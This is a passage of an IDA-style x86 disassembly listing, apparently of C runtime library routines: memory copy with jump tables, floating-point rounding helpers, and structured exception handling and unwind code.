		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
